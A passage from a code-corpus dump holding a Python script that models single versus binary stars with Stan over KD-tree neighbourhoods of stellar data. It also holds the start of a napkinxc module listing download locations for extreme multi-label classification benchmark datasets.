"line_number": 294, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 297, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 295, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 313, "usage_type": "name"}, {"api_name": "anitracker.media.Anime", "line_number": 313, "usage_type": "name"}, {"api_name": "anitracker.media.AnimeCollection", "line_number": 313, "usage_type": "name"}, {"api_name": "anitracker.ui.Ui_AnimeInfo", "line_number": 316, "usage_type": "call"}, {"api_name": "anitracker.media.AnimeCollection", "line_number": 332, "usage_type": "argument"}, {"api_name": "functools.partial", "line_number": 336, "usage_type": "call"}, {"api_name": "sys.__excepthook__", "line_number": 352, "usage_type": "call"}, {"api_name": "anitracker.logger.error", "line_number": 355, "usage_type": "call"}, {"api_name": "anitracker.logger", "line_number": 355, "usage_type": "name"}, {"api_name": "sys.excepthook", "line_number": 358, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 362, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 372, "usage_type": "call"}]} {"seq_id": "8052915218", "text": "\n\n\"\"\"\nNon-parametric model of binarity and single stars across the H-R diagram.\n\"\"\"\n\n\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport pickle\nfrom astropy.table import Table\nfrom astropy.io import fits\nfrom scipy import (spatial, optimize as op)\nfrom sklearn import neighbors as neighbours\nfrom time import time\n\nimport velociraptor\nimport stan_utils as stan\nimport npm_utils\n\nfrom corner import corner\n\nnp.random.seed(123)\n\nDEBUG_PLOTS = False\n\ndata_path = \"data/rv-all-subset-1e4.fits\"\n#data = fits.open(data_path)[1].data\ndata = Table.read(data_path)\ndata[\"rv_single_epoch_scatter\"] = data[\"rv_single_epoch_variance\"]**0.5\n\n\n\n# [1] Construct KD-Tree\n# [2] Select a random X number of stars\n# [3] Construct some way to get nearest neighbour results that are not Null???\n# --> select the next nearest star? or one star in the volume that does not have results?\n# [3] Run the optimization etc.\n\n\n# what labels are we going to build the KD-tree in?\nkdt_label_names = (\"bp_rp\", \"absolute_rp_mag\", \"phot_rp_mean_mag\")\n\n\npredictor_label_names = (\n \"rv_single_epoch_scatter\",\n \"astrometric_unit_weight_error\",\n \"phot_bp_rp_excess_factor\",\n \"rv_abs_diff_template_teff\",\n)\n\nparameter_names = [\"theta\", \"mu_single\", \"sigma_single\", \"mu_multiple\",\n \"sigma_multiple\"]\n\n\nX_kdt = np.vstack([data[ln] for ln in kdt_label_names]).T\n# TODO: Right now I am *requiring* that all predictor labels and KD-Tree\n# labels are finite, but we may want to change this in the future.\nall_label_names = tuple(list(kdt_label_names) + list(predictor_label_names))\nsubset = np.all(np.isfinite(np.vstack([data[ln] for ln in all_label_names])), axis=0)\nX_kdt = X_kdt[subset]\nX_scale = np.ptp(X_kdt, axis=0)\nX_mean = np.mean(X_kdt, axis=0)\n\n_scale = lambda a: (a - X_mean)/X_scale\n_descale = lambda a: a * X_scale + X_mean\n\n# Normalise the array for the KD-tree\nX_norm = _scale(X_kdt)\n\n# Construct the KD-Tree\nkdt = npm_utils.build_kdt(X_norm)\n\ndata = data[subset]\n\nmodel = stan.load_stan_model(\"npm.stan\")\n\n\n# Calculate the total number of parameters\nM = len(data)\nL = len(predictor_label_names)\nK = 1 + 4 * L\n\nopt_params = np.empty((M, K))\n\n#subset_points = np.random.choice(M, size=1000, replace=False)\n#for i in range(M):\n\n#for j, i in enumerate(subset_points):\nfor j, i in enumerate(range(M)):\n\n print(\"At point {}/{}: {}\".format(j, M, i))\n\n k_indices, dist = npm_utils.get_ball_around_point(kdt, X_norm[[i]],\n full_output=True)\n\n y = np.array([data[ln][k_indices] for ln in predictor_label_names]).T\n N, D = y.shape\n \n init_values = npm_utils.get_initialization_point(y)\n init_dict = dict(zip(parameter_names, npm_utils._unpack_params(init_values, D))) \n init_dict[\"mu_multiple_uv\"] = 0.5 * np.ones(D)\n\n data_dict = dict(y=y, N=N, D=D)\n\n opt_kwds = dict(\n data=data_dict,\n init=init_dict,\n verbose=False,\n tol_obj=7./3 - 4./3 - 1, # machine precision\n tol_grad=7./3 - 4./3 - 1, # machine precision\n tol_rel_grad=1e3,\n tol_rel_obj=1e4,\n iter=10000)\n\n\n t_init = time()\n p_opt = model.optimizing(**opt_kwds)\n t_opt = time() - t_init\n\n print(\"Optimization took {:.2f} seconds\".format(t_opt))\n \n del p_opt[\"mu_multiple_uv\"]\n\n for k in p_opt.keys():\n if k == \"theta\": continue\n p_opt[k] = np.atleast_1d(p_opt[k])\n\n opt_params[i] = npm_utils._pack_params(**p_opt)\n\n print(\"Single star fraction at this point: {:.2f}\".format(opt_params[i, 0]))\n\n if DEBUG_PLOTS:\n\n print(\"Running DEBUG plots\")\n\n for l, predictor_label_name in enumerate(predictor_label_names):\n\n fig, ax = plt.subplots()\n xi = np.linspace(\n np.min(data_dict[\"y\"].T[l].flatten()), \n np.max(data_dict[\"y\"].T[l].flatten()),\n 1000)\n\n ax.hist(data_dict[\"y\"].T[l].flatten(), bins=50, facecolor=\"#cccccc\", zorder=-1)\n\n\n show = init_dict\n ax.plot(xi, N * npm_utils.norm_pdf(xi, show[\"mu_single\"][l], show[\"sigma_single\"][l], show[\"theta\"]), c='r')\n ax.plot(xi, N * npm_utils.lognorm_pdf(xi, show[\"mu_multiple\"][l], show[\"sigma_multiple\"][l], show[\"theta\"]), c='b')\n\n show = p_opt\n ax.plot(xi, N * npm_utils.norm_pdf(xi, show[\"mu_single\"][l], show[\"sigma_single\"][l], show[\"theta\"]), c='m')\n ax.plot(xi, N * npm_utils.lognorm_pdf(xi, show[\"mu_multiple\"][l], show[\"sigma_multiple\"][l], show[\"theta\"]), c='y')\n \n \n samples = model.sampling(**stan.sampling_kwds(\n data=opt_kwds[\"data\"], init=p_opt, iter=2000, chains=2))\n\n chains_dict = samples.extract()\n if L == 1:\n chains = np.vstack([\n chains_dict[\"theta\"],\n chains_dict[\"mu_single\"],\n chains_dict[\"sigma_single\"],\n chains_dict[\"mu_multiple\"],\n chains_dict[\"sigma_multiple\"]\n ]).T\n\n else:\n chains = np.hstack([\n np.atleast_2d(chains_dict[\"theta\"]).T,\n chains_dict[\"mu_single\"],\n chains_dict[\"sigma_single\"],\n chains_dict[\"mu_multiple\"],\n chains_dict[\"sigma_multiple\"]\n ])\n\n\n fig = corner(chains)\n\n # Make plots of the pdf of each distribution.\n for l, predictor_label_name in enumerate(predictor_label_names):\n\n xi = np.linspace(np.min(y.T[l]), np.max(y.T[l]), 1000)\n\n indices = np.random.choice(len(chains), 100, replace=False)\n\n fig, ax = plt.subplots()\n for index in indices:\n \n idx_theta = parameter_names.index(\"theta\")\n idx_norm_mu = parameter_names.index(\"mu_single\")\n idx_norm_sigma = parameter_names.index(\"sigma_single\")\n idx_lognorm_mu = parameter_names.index(\"mu_multiple\")\n idx_lognorm_sigma = parameter_names.index(\"sigma_multiple\")\n \n\n theta = chains[index, 0]\n norm_mu = chains[index, 1 + l]\n norm_sigma = chains[index, 1 + L + l]\n lognorm_mu = chains[index, 1 + 2*L + l]\n lognorm_sigma = chains[index, 1 + 3*L + l]\n\n ax.plot(xi, npm_utils.norm_pdf(xi, norm_mu, norm_sigma, theta), c='r', alpha=0.1)\n ax.plot(xi, npm_utils.lognorm_pdf(xi, lognorm_mu, lognorm_sigma, theta), c='b', alpha=0.1)\n \n _ = ax.hist(y.T[l], bins=500, facecolor=\"#000000\", zorder=-1, normed=True)\n print(y.size)\n\n ax.set_title(predictor_label_name.replace(\"_\", \" \"))\n\n\n raise a\n\n\n\n\nwith open(\"rv-all-subset-1e4-optimized-unconstrained.pickle\", \"wb\") as fp: \n pickle.dump(opt_params, fp, -1)\n\n\n\ndef normal_lpdf(y, mu, sigma):\n ivar = sigma**(-2)\n return 0.5 * (np.log(ivar) - np.log(2 * np.pi) - (y - mu)**2 * ivar)\n\ndef lognormal_lpdf(y, mu, sigma):\n ivar = sigma**(-2)\n return - 0.5 * np.log(2 * np.pi) - np.log(y * sigma) \\\n - 0.5 * (np.log(y) - mu)**2 * ivar\n\n\n\nfrom scipy.special import logsumexp\n\n# Calculate log-probabilities for all of the stars we considered.\ndef membership_probability(y, p_opt):\n\n y = np.atleast_1d(y)\n theta, s_mu, s_sigma, m_mu, m_sigma = npm_utils._unpack_params(p_opt)\n\n assert s_mu.size == y.size, \"The size of y should match the size of mu\"\n\n\n D = y.size\n ln_prob = np.zeros((D, 2))\n for d in range(D):\n ln_prob[d] = [\n normal_lpdf(y[d], s_mu[d], s_sigma[d]),\n lognormal_lpdf(y[d], m_mu[d], m_sigma[d])\n ]\n\n # TODO: I am not certain that I am summing these log probabilities correctly\n\n sum_ln_prob = np.sum(ln_prob, axis=0) # per mixture\n ln_likelihood = logsumexp(sum_ln_prob)\n\n with np.errstate(under=\"ignore\"):\n ln_membership = sum_ln_prob - ln_likelihood\n\n return np.exp(ln_membership)\n\n\ny = np.array([data[ln] for ln in predictor_label_names]).T\nN, D = y.shape\n\np_single = np.array([membership_probability(y[i], opt_params[i])[0] for i in range(N)])\n\n\n# Now calculate the amount of excess RV variance\n\ndef rv_excess_scatter(y, p_opt, label_index):\n\n y = np.atleast_1d(y)\n _, s_mu, s_sigma, __, ___ = npm_utils._unpack_params(p_opt)\n\n assert s_mu.size == y.size, \"The size of y should match the size of mu\"\n\n rv_single_epoch_excess = np.sqrt(y[label_index]**2 - s_mu[label_index]**2)\n rv_single_epoch_significance = rv_single_epoch_excess/s_sigma[label_index]\n\n return (rv_single_epoch_excess, rv_single_epoch_significance)\n\n\nli = list(predictor_label_names).index(\"rv_single_epoch_scatter\")\nrv_excess = np.array([\n rv_excess_scatter(y[i], opt_params[i], li) for i in range(N)])\n\n# Remember that the probabilities of binarity take into acocunt more than just\n# the radial velocity excess!\n\n# Make a corner plot of the various properties? Coloured by probabilities?\n\n\n\nwith open(\"rv-all-subset-1e4-results.pickle\", \"wb\") as fp: \n pickle.dump((subset, opt_params, predictor_label_names, p_single, rv_excess), fp, -1)\n\n", "repo_name": "andycasey/velociraptor", "sub_path": "npm.py", "file_name": "npm.py", "file_ext": "py", "file_size_in_byte": 9130, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.random.seed", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 24, "usage_type": "attribute"}, {"api_name": "astropy.table.Table.read", "line_number": 30, "usage_type": "call"}, {"api_name": "astropy.table.Table", "line_number": 30, "usage_type": "name"}, {"api_name": "numpy.vstack", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.isfinite", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.ptp", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 64, "usage_type": "call"}, {"api_name": "npm_utils.build_kdt", "line_number": 73, "usage_type": "call"}, {"api_name": "stan_utils.load_stan_model", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 85, "usage_type": "call"}, {"api_name": "npm_utils.get_ball_around_point", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 98, "usage_type": "call"}, {"api_name": "npm_utils.get_initialization_point", "line_number": 101, "usage_type": "call"}, {"api_name": "npm_utils._unpack_params", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 103, "usage_type": "call"}, {"api_name": "time.time", "line_number": 118, "usage_type": "call"}, {"api_name": "time.time", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.atleast_1d", "line_number": 128, "usage_type": "call"}, {"api_name": "npm_utils._pack_params", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 143, "usage_type": "call"}, {"api_name": "npm_utils.norm_pdf", "line_number": 150, "usage_type": "call"}, {"api_name": "npm_utils.lognorm_pdf", "line_number": 151, "usage_type": "call"}, {"api_name": "npm_utils.norm_pdf", "line_number": 154, "usage_type": "call"}, {"api_name": "npm_utils.lognorm_pdf", "line_number": 155, "usage_type": "call"}, {"api_name": "stan_utils.sampling_kwds", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.atleast_2d", "line_number": 173, "usage_type": "call"}, {"api_name": "corner.corner", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 188, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 190, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 190, "usage_type": "name"}, {"api_name": "npm_utils.norm_pdf", "line_number": 206, "usage_type": "call"}, {"api_name": "npm_utils.lognorm_pdf", "line_number": 207, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 227, "usage_type": "attribute"}, {"api_name": "numpy.log", "line_number": 231, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 231, "usage_type": "attribute"}, {"api_name": "numpy.log", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.atleast_1d", "line_number": 241, "usage_type": "call"}, {"api_name": "npm_utils._unpack_params", "line_number": 242, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 248, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 257, "usage_type": "call"}, {"api_name": "scipy.special.logsumexp", "line_number": 258, "usage_type": "call"}, {"api_name": "numpy.errstate", "line_number": 260, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 263, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 266, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 269, "usage_type": "call"}, {"api_name": "numpy.atleast_1d", "line_number": 276, "usage_type": "call"}, {"api_name": "npm_utils._unpack_params", "line_number": 277, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 281, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 288, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 299, "usage_type": "call"}]} {"seq_id": "42851941459", "text": "import gzip\nimport json\nimport re\nimport requests\nimport warnings\nimport zipfile\nfrom sys import stdout\nfrom os import makedirs, path, remove\nimport numpy as np\nfrom scipy.sparse import csr_matrix\nfrom ._napkinxc import _load_libsvm_file\n\n\n# List of all available datasets\nDATASETS = {\n 'eurlex-4k': {\n 'name': 'EURLex-4K',\n 'formats': ['bow'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGU0VTR1pCejFpWjg', # XMLC repo url\n 'dir': 'Eurlex',\n 'train': 'eurlex_train.txt',\n 'test': 'eurlex_test.txt',\n 'file_format': 'libsvm',\n }\n },\n 'eurlex-4.3k': {\n 'name': 'EURLex-4.3K',\n 'formats': ['bow'],\n 'subsets': ['train', 'test', 'validation'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=1b3mWgaKIAmc9Ae3E0QrokiIFA9Qj1K9r', # XMLC repo url\n 'dir': 'EURLex-4.3K',\n 'train': 'train.txt',\n 'test': 'test.txt',\n 'validation': 'validation.txt',\n 'file_format': 'libsvm',\n }\n },\n 'amazoncat-13k': {\n 'name': 'AmazonCat-13K',\n 'formats': ['bow', 'raw'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGa2tMbVJGdDNSMGc', # XMLC repo url\n 'dir': 'AmazonCat',\n 'train': 'amazonCat_train.txt',\n 'test': 'amazonCat_test.txt',\n 'file_format': 'libsvm',\n },\n 'raw': {\n 'url': 'https://drive.google.com/uc?export=download&id=17rVRDarPwlMpb3l5zof9h34FlwbpTu4l', # XMLC repo url\n 'dir': 'AmazonCat-13K.raw',\n 'train': 'trn.json.gz',\n 'test': 'tst.json.gz',\n 'file_format': 'jsonlines',\n 'features_fields': ['title', 'content'],\n 'labels_field': 'target_ind'\n }\n },\n 'amazoncat-14k': {\n 'name': 'AmazonCat-14K',\n 'formats': ['bow', 'raw'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGaDFqU2E5U0dxS00', # XMLC repo url\n 'dir': 'AmazonCat-14K',\n 'train': 'amazonCat-14K_train.txt',\n 'test': 'amazonCat-14K_test.txt',\n 'file_format': 'libsvm',\n },\n 'raw': {\n 'url': 'https://drive.google.com/uc?export=download&id=1vy1N-lDdDfuoo0CNwFE11hb3INCpJHFx', # XMLC repo url\n 'dir': 'AmazonCat-14K.raw',\n 'train': 'trn.json.gz',\n 'test': 'tst.json.gz',\n 'file_format': 'jsonlines',\n 'features_fields': ['title', 'content'],\n 'labels_field': 'target_ind'\n }\n },\n 'wiki10-31k': {\n 'name': 'Wiki10-31K',\n 'formats': ['bow'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGaDdOeGliWF9EOTA', # XMLC repo url\n 'dir': 'Wiki10',\n 'train': 'wiki10_train.txt',\n 'test': 'wiki10_test.txt',\n 'file_format': 'libsvm',\n }\n },\n 'deliciouslarge-200k': {\n 'name': 'DeliciousLarge-200K',\n 'formats': ['bow'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGR3lBWWYyVlhDLWM', # XMLC repo url\n 'dir': 'DeliciousLarge',\n 'train': 'deliciousLarge_train.txt',\n 'test': 'deliciousLarge_test.txt',\n 'file_format': 'libsvm',\n }\n },\n 'wikilshtc-325k': {\n 'name': 'WikiLSHTC-325K',\n 'formats': ['bow'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGSHE1SWx4TVRva3c', # XMLC repo url\n 'dir': 'WikiLSHTC',\n 'train': 'wikiLSHTC_train.txt',\n 'test': 'wikiLSHTC_test.txt',\n 'file_format': 'libsvm',\n }\n },\n 'wikiseealsotitles-350k': {\n 'name': 'WikiSeeAlsoTitles-350K',\n 'formats': ['bow', 'raw'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=1bHtiLVF5EFsVL3qyU7y5e3M-fYHvXsG9', # XMLC repo url\n 'dir': 'WikiSeeAlsoTitles-350K',\n 'train': {'X': 'trn_X_Xf.txt', 'Y': 'trn_X_Y.txt'},\n 'test': {'X': 'tst_X_Xf.txt', 'Y': 'tst_X_Y.txt'},\n 'file_format': 'XY_sparse',\n },\n 'raw': {\n 'url': 'https://drive.google.com/uc?export=download&id=1sxPHzlnotUKjbtVRe0GuXGfSI7YhBSdc', # XMLC repo url\n 'dir': 'WikiSeeAlsoTItles-350K',\n 'train': 'trn.json.gz', # Type is there on purpose\n 'test': 'tst.json.gz',\n 'file_format': 'jsonlines',\n 'features_fields': ['title', 'content'],\n 'labels_field': 'target_ind'\n }\n },\n 'wikititles-500k': {\n 'name': 'WikiTitles-500K',\n 'formats': ['bow', 'raw'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=11U4qDWKvsR6pCzLvY3APckx-R_ihyMih', # XMLC repo url\n 'dir': 'WikiTitles-500K',\n 'train': {'X': 'trn_X_Xf.txt', 'Y': 'trn_X_Y.txt'},\n 'test': {'X': 'tst_X_Xf.txt', 'Y': 'tst_X_Y.txt'},\n 'file_format': 'XY_sparse',\n },\n 'raw': {\n 'url': 'https://drive.google.com/uc?export=download&id=1YStqoa6_5Qxd9FpExTNt-_tcXUhYXUFM', # Marek Wydmuch's reupload\n 'dir': 'Wikipedia-500K.raw',\n 'train': 'trn.raw.json.gz',\n 'test': 'tst.raw.json.gz',\n 'file_format': 'jsonlines',\n 'features_fields': ['title'],\n 'labels_field': 'target_ind'\n }\n },\n 'wikipedialarge-500k': {\n 'name': 'WikipediaLarge-500K',\n 'formats': ['bow', 'raw'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGRmEzVDVkNjBMR3c', # XMLC repo url\n 'dir': 'WikipediaLarge-500K',\n 'train': 'WikipediaLarge-500K_train.txt',\n 'test': 'WikipediaLarge-500K_test.txt',\n 'file_format': 'libsvm',\n },\n 'raw': {\n 'url': 'https://drive.google.com/uc?export=download&id=1YStqoa6_5Qxd9FpExTNt-_tcXUhYXUFM', # Marek Wydmuch's reupload\n 'dir': 'Wikipedia-500K.raw',\n 'train': 'trn.raw.json.gz',\n 'test': 'tst.raw.json.gz',\n 'file_format': 'jsonlines',\n 'features_fields': ['title', 'content'],\n 'labels_field': 'target_ind'\n }\n },\n 'amazontitles-670k': {\n 'name': 'AmazonTitles-670K',\n 'formats': ['bow', 'raw'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=1OKnaLu4SDMOQ69rHdwF8ExKkeF2SZw7z', # XMLC repo url\n 'dir': 'AmazonTitles-670K',\n 'train': {'X': 'trn_X_Xf.txt', 'Y': 'trn_X_Y.txt'},\n 'test': {'X': 'tst_X_Xf.txt', 'Y': 'tst_X_Y.txt'},\n 'file_format': 'XY_sparse',\n },\n 'raw': {\n 'url': 'https://drive.google.com/uc?export=download&id=1FPqD8Wns7NXTSYDAcK4ZsqUUGABLyZMn', # XMLC repo url\n 'dir': 'AmazonTitles-670K',\n 'train': 'trn.json.gz',\n 'test': 'tst.json.gz',\n 'file_format': 'jsonlines',\n 'features_fields': ['title'],\n 'labels_field': 'target_ind'\n }\n },\n 'amazon-670k': {\n 'name': 'Amazon-670K',\n 'formats': ['bow', 'raw'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGdUJwRzltS1dvUVk', # XMLC repo url\n 'dir': 'Amazon',\n 'train': 'amazon_train.txt',\n 'test': 'amazon_test.txt',\n 'file_format': 'libsvm',\n },\n 'raw': {\n 'url': 'https://drive.google.com/uc?export=download&id=16FIzX3TnlsqbrwSJJ2gDih69laezfZWR', # XMLC repo url\n 'dir': 'Amazon-670K.raw',\n 'train': 'trn.raw.json.gz',\n 'test': 'tst.raw.json.gz',\n 'file_format': 'jsonlines',\n 'features_fields': ['title', 'content'],\n 'labels_field': 'target_ind'\n }\n },\n 'amazontitles-3m': {\n 'name': 'AmazonTitles-3M',\n 'formats': ['bow', 'raw'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=1PGzippnzIcgVNYZ8qQKVb0GNiARjQxvV', # XMLC repo url\n 'dir': 'AmazonTitles-3M',\n 'train': {'X': 'trn_X_Xf.txt', 'Y': 'trn_X_Y.txt'},\n 'test': {'X': 'tst_X_Xf.txt', 'Y': 'tst_X_Y.txt'},\n 'file_format': 'XY_sparse',\n },\n 'raw': {\n 'url': 'https://drive.google.com/uc?export=download&id=1m0MMApC0vPpjEfI35SAaBGqKDsYypVXs', # XMLC repo url\n 'dir': 'AmazonTitles-3M',\n 'train': 'trn.json.gz',\n 'test': 'tst.json.gz',\n 'file_format': 'jsonlines',\n 'features_fields': ['title'],\n 'labels_field': 'target_ind'\n }\n },\n 'amazon-3m': {\n 'name': 'Amazon-3M',\n 'formats': ['bow', 'raw'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGUEd4eTRxaWl3YkE', # XMLC repo url\n 'dir': 'Amazon-3M',\n 'train': 'amazon-3M_train.txt',\n 'test': 'amazon-3M_test.txt',\n 'file_format': 'libsvm',\n },\n 'raw': {\n 'url': 'https://drive.google.com/uc?export=download&id=1gsabsx8KR2N9jJz16jTcA0QASXsNuKnN', # XMLC repo url\n 'dir': 'Amazon-3M.raw',\n 'train': 'trn.json.gz',\n 'test': 'tst.json.gz',\n 'file_format': 'jsonlines',\n 'features_fields': ['title', 'content'],\n 'labels_field': 'target_ind'\n }\n },\n 'lf-amazontitles-131k': {\n 'name': 'LF-AmazonTitles-131K',\n 'formats': ['bow'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=1VlfcdJKJA99223fLEawRmrXhXpwjwJKn', # XMLC repo url\n 'dir': 'LF-AmazonTitles-131K',\n 'train': 'train.txt',\n 'test': 'test.txt',\n 'file_format': 'libsvm',\n }\n },\n 'lf-amazon-131k': {\n 'name': 'LF-Amazon-131K',\n 'formats': ['bow'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=1YNGEifTHu4qWBmCaLEBfjx07qRqw9DVW', # XMLC repo url\n 'dir': 'LF-Amazon-131K',\n 'train': 'train.txt',\n 'test': 'test.txt',\n 'file_format': 'libsvm',\n }\n },\n 'lf-wikiseealsotitles-320k': {\n 'name': 'LF-WikiSeeAlsoTitles-320K',\n 'formats': ['bow'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=1edWtizAFBbUzxo9Z2wipGSEA9bfy5mdX', # XMLC repo url\n 'dir': 'LF-WikiSeeAlsoTitles-320K',\n 'train': 'train.txt',\n 'test': 'test.txt',\n 'file_format': 'libsvm',\n }\n },\n 'lf-wikiseealso-320k': {\n 'name': 'LF-WikiSeeAlso-320K',\n 'formats': ['bow'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=1N8C_RL71ErX6X92ew9h8qRuTWJ9LywE8', # XMLC repo url\n 'dir': 'LF-WikiSeeAlso-320K',\n 'train': 'train.txt',\n 'test': 'test.txt',\n 'file_format': 'libsvm',\n }\n },\n 'lf-wikititles-500k': {\n 'name': 'LF-WikiTitles-500K',\n 'formats': ['bow'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=1qa1HTTD509J5r4yNAH-Aq6wArljgg4mx', # XMLC repo url\n 'dir': 'LF-WikiTitles-500K',\n 'train': 'train.txt',\n 'test': 'test.txt',\n 'file_format': 'libsvm',\n }\n },\n 'lf-amazontitles-1.3m': {\n 'name': 'LF-AmazonTitles-1.3M',\n 'formats': ['bow'],\n 'subsets': ['train', 'test'],\n 'bow': {\n 'url': 'https://drive.google.com/uc?export=download&id=1Davc6BIfoTIAS3mP1mUY5EGcGr2zN2pO', # XMLC repo url\n 'dir': 'LF-AmazonTitles-1.3M',\n 'train': 'train.txt',\n 'test': 'test.txt',\n 'file_format': 'libsvm',\n }\n },\n}\n\n\n# Main functions for downloading and loading datasets\ndef load_libsvm_file(file):\n \"\"\"\n Load data in the libsvm format into sparse CSR matrix.\n The format is text-based. Each line contains an instance and is ended by a ``\\\\n`` character.\n\n .. code::\n\n